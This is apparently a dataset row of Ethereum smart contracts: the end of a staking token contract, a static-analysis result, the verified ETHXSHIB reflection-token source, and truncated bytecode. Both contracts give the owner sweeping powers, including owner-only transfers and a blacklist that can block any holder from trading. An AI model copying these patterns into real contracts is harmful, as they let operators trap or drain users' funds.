public returns(bool)
{
require(numberOfTokens >= 10, "Minimum withdrawal is 10 token");
require(_customerAddress != address(0), "address zero");
require(numberOfTokens <= levelIncome[_customerAddress], "insufficient bonus");
levelIncome[_customerAddress] = levelIncome[_customerAddress].sub(numberOfTokens);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
return true;
}
function holdStake(uint256 _amount, uint256 _timing)
public
{
address _customerAddress = msg.sender;
require(_amount <= tokenLedger[_customerAddress], "insufficient balance");
require(_amount >= 20, "Minimum stake limit is 20");
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amount);
tokenLedger[stakeHolder] = tokenLedger[stakeHolder].add(_amount);
emit stake(_customerAddress, _amount, _timing);
}
function unstake(uint256 _amount, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(_amount);
tokenLedger[stakeHolder] = tokenLedger[stakeHolder].sub(_amount);
}
function alot_tokens(uint256 _amountOfTokens, address _toAddress) onlyOwner public returns(bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
return true;
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyOwner
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function transferFrom(address _from, address _to, uint256 tokens) public returns(bool success) {
require(tokens <= tokenLedger[_from]);
require(tokens > 0);
require(tokens <= allowed[_from][msg.sender]);
tokenLedger[_from] = tokenLedger[_from].sub(tokens);
tokenLedger[_to] = tokenLedger[_to].add(tokens);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(tokens);
emit Transfer(_from, _to, tokens);
return true;
}
function priceAlgoBuy() internal{
if( tokenSold > 0 && tokenSold <= 336000 ){
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if( tokenSold > 336000 && tokenSold <= 486000 ){
currentPrice = basePrice2;
basePrice2 = currentPrice;
}
if( tokenSold > 486000 && tokenSold <= 636000 ){
currentPrice = basePrice3;
basePrice3 = currentPrice;
}
if(tokenSold > 636000 && tokenSold <= 786000){
currentPrice = basePrice4;
basePrice4 = currentPrice;
}
if(tokenSold > 786000){
currentPrice = basePrice5;
basePrice5 = currentPrice;
}
}
function priceAlgoSell( ) internal{
if( tokenSold > 0 && tokenSold <= 336000 ){
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if( tokenSold > 336000 && tokenSold <= 486000 ){
currentPrice = basePrice2;
basePrice2 = currentPrice;
}
if( tokenSold > 486000 && tokenSold <= 636000 ){
currentPrice = basePrice3;
basePrice3 = currentPrice;
}
if(tokenSold > 636000 && tokenSold <= 786000){
currentPrice = basePrice4;
basePrice4 = currentPrice;
}
if(tokenSold > 786000){
currentPrice = basePrice5;
basePrice5 = currentPrice;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,345 |
0x47455f3032aa414d871e27d53628795dc0fe0a0e | /**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ETHXSHIB is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Ethereum X Shiba";
string private constant _symbol = 'ETHXSHIB';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f457468657265756d205820536869626100000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d4060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b29092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612372565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4554485853484942000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f1565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561